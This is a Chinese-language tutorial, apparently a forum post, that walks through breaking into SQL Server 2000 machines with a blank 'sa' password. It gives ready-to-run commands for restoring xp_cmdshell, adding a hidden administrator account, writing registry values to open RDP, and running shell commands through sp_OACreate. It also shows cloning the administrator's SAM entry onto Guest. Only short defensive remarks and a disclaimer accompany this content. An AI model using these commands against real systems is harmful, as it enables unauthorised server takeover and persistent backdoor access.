SQLServer是一個c/s模式的強大的關系型數據庫管理系統,使用的是SQL語言。是一種應用領域十分廣泛的網絡數據庫。對網絡安全了解的朋友應該知道,SQLServer的入侵最常見的就是利用Sa空密碼入侵了,網上關于這種入侵的文章多如牛毛,有些這樣的文章個人認為講解的并不詳細,甚至有些是錯誤的,所以經常能在一些安全論壇看到類似的提問,而且有些也得不到很好的解答,下面我將詳細介紹我的一些經驗和總結,與大家分享。
首先讓我們來了解一下SQLServer中的存儲過程。存儲過程是存儲在SQLServer中的預先寫好的SQL語句集合。存儲過程分為三類:系統提供的存儲過程,用戶定義的存儲過程和擴展存儲過程。系統提供的存儲過程是在安裝SQLServer時創建的存儲過程,名字以“sp_”開頭。用戶定義的存儲過程是用SQLServer的使用者編寫的存儲過程。擴展存儲過程則是對動態鏈接庫(DLL)函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,與一般動態鏈接庫不同的是它們直接運行在SQLServer分配的內存地址內,其中危險性最高的擴展存儲過程就是xp_cmdshell了,它可以執行操作系統的任何指令。
上面了解了什么是存儲過程,我們再來看一下什么是Sa。Sa是SQLServer的管理員帳號,擁有最高權限,它可以執行擴展存儲過程,并獲得返回值。這樣你應該明白為什么得到Sa,就可以得到系統的最高權限了吧。可是,有的時候情況并不是這樣,下面我們以在局域網中的SQLServer入侵介紹一下SQLServer的攻與防。
使用掃描工具掃描得到一個sa為空的機器,使用SQL Exec連接上,發現命令并不能用(如圖1)。

懷疑是擴展存儲過程xp_cmdshell在查詢分析器里刪除,
語句為:exec sp_dropextendedproc 'xp_cmdshell',于是打開自己機的SQLServer的查詢分析器,連上對方的SQLServer,對對方的xp_cmdshell進行恢復,語句為:
exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll' (如圖2)。

然后再用SQL Exec運行SQLCMD命令,發現SQLCMD可以使用了(如圖3)。

我們再來在查詢分析器里添加一個管理員用戶(如圖4),語句為
exec master..xp_cmdshell 'net user ceshi 98765321 /add'
exec master..xp_cmdshell 'net localgroup administrators ceshi /add',不用多做解釋了吧,ceshi是管理員,密碼為98765321。

命令執行完后,我們來看一下結果,語句為:
exec master..xp_cmdshell 'net user' (如圖5)

有了管理員權限,我們使用流光的種植者上傳一個可以開3389的bat文件,然后在對方機器運行,bat文件運行后,會使對方機器重新啟動,待對方重新啟動后,我們就可以用3389連接器連接了,再此不多做介紹。
或許你已經想到了,如果把xplog70.dll刪除,擴展存儲過程xp_cmdshell就運行不了了,也就不會被別人輕易入侵了。當我們需要的時候再把這個文件拷到C:Program FilesMicrosoft SQL Server80ToolsBinn就可以了,xplog70.dll在安裝光盤上的位置為X86BINN。
SQL Server2000還有很多強大的存儲過程,還有沒有可能別入侵者利用的呢?下面我們來看一下,還有哪些存儲過程比較危險:
sp_Msgetversion(這個存儲過程返回Microsoft SQL Server的版本號),使用方法:
EXEC master..sp_MSgetversion
更常用的方法獲得版本信息(這種方法可以獲得更多附加信息),是使用下列語句:
SELECT @@version
xp_dirtree(這個存儲過程用來列出對應目錄下的文件和文件夾),使用方法(要獲得 C:aaa的文件列表):
EXEC master..xp_dirtree 'C:aaa'
xp_enumerrorlogs(這個擴展過程返回所有的錯誤日志和它們的最后更新日期),使用方法:
EXEC master..xp_enumerrorlogs
xp_fixeddrives(這個擴展存儲過程很有用,可以列出所有硬盤分區各自的可用空間),使用方法:
EXEC master..xp_fixeddrives
xp_regread(這個擴展存儲過程可以讀取注冊表指定的鍵里指定的值),使用方法(得到機器名):
DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='systemcontrolset001controlcomputernamecomputername',
@value_name='computername',
@value=@test OUTPUT
SELECT @test
xp_regdeletekey (這個擴展存儲過程可以刪除注冊表指定的鍵,使用時要謹慎),使用方法(從注冊表里刪除HKEY_LOCAL_MACHINESOFTWAREaaa):
EXEC master..xp_regdeletekey
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWAREaaa'
xp_regdeletevalue(這個擴展存儲過程可以刪除注冊表指定的鍵里指定的值),使用方法(要刪除鍵值HKEY_LOCAL_MACHINESOFTWAREaaaaaaValue):
EXEC master..xp_regdeletevalue
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWAREaaa',
@value_name='aaaValue'
xp_regwrite(這個擴展存儲過程可以寫入注冊表指定的鍵里指定的值),使用方法(在鍵HKEY_LOCAL_MACHINESOFTWAREaaaaaaValue寫入bbb):
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWAREaaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
xp_enumdsn(這個擴展存儲過程可以得到ODBC中的用戶數據源),使用方法:
EXEC master..xp_enumdsn
有了上面這些操作注冊表的擴展存儲過程,入侵者就可以做很多事情了,如果被入侵機器的3389沒有被打開,入侵者就可以向被入侵機器的注冊表里寫入開3389的鍵值,只要等被入侵機器重新啟動后,入侵者就可以連接3389端口了,具體要寫哪些鍵值,網上有很多介紹,大家可以找一下,需要注意的是在查詢分析器里運行xp_regwrite存儲過程時(注意一條一條運行),按照下面這種簡單的形式運行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetServicesTermDD','start','reg_dword',2
等被入侵機器重新啟動后,就可以連接3389端口了。
還有OLE相關的一系列存儲過程,這系列的存儲過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,這些存儲過程和xp_cmdshell一樣危險,使用方法:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net user test 1234 /add'--
這樣對方系統增加了一個用戶名為test,密碼為1234的用戶,再執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net localgroup administrators test /add '--
用戶test,被加入管理員組。
再來看一下如何克隆管理員帳號,把已經停用的GUEST用戶啟動起來,在查詢分析器里運行下面的語句:
xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'
可以得到系統administrator的加密密碼,然后復制(如圖6),

然后再執行:
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SAMSAMDomainsAccountUsers00001F5', 'F','reg_binary',0x…(上一步得到的那串字符)
如果被入侵機器開了3389服務,那入侵者就可以用GUEST登陸了,密碼為空,而且Guest的桌面與administrator的完全一樣。在這里有個問題需要講一下,有時候在執行xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'
時,出現的提示是:
錯誤:
消息 22001,級別 1,狀態 22001
RegOpenKeyEx() returned error 2, '系統找不到指定的文件。'
(所影響的行數為 0 行)
開始以為是SQL Server版本的問題,后來經過測試發現,此問題存在在各個版本的SQL SERVER,個人認為可能與對方系統當前用戶對'HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers00001F4'的訪問權限有關,如果當前的用戶在本地計算機無法訪問該注冊表項,就會出現這個提示,我將繼續研究,解決這個問題,也希望知道原因和解決辦法的朋友給予指點,謝謝。
以前看過SQL大俠寫的一篇《一次簡單的SQL Server的安全測試》文章,主要內容是IIS危險虛擬目錄結合Sa為空的一次入侵測試,讓我們意識到盡管我們對SQL Server做了一定的安全設置,可是功能強大的SQL Server給使用者提供方便的同時,也有可能被入侵者利用。所以最安全的方法就是給你的Sa和系統用戶起一個健壯的口令,以不變應萬變。
以上兩臺機器的測試環境均為win2000高級服務器版(sp4)+SQLServer2000(sp3)
本文方法僅供研究,請勿用于破壞上,由本文方法造成任何損失,由使用者負責,本人概不負責。
(t114)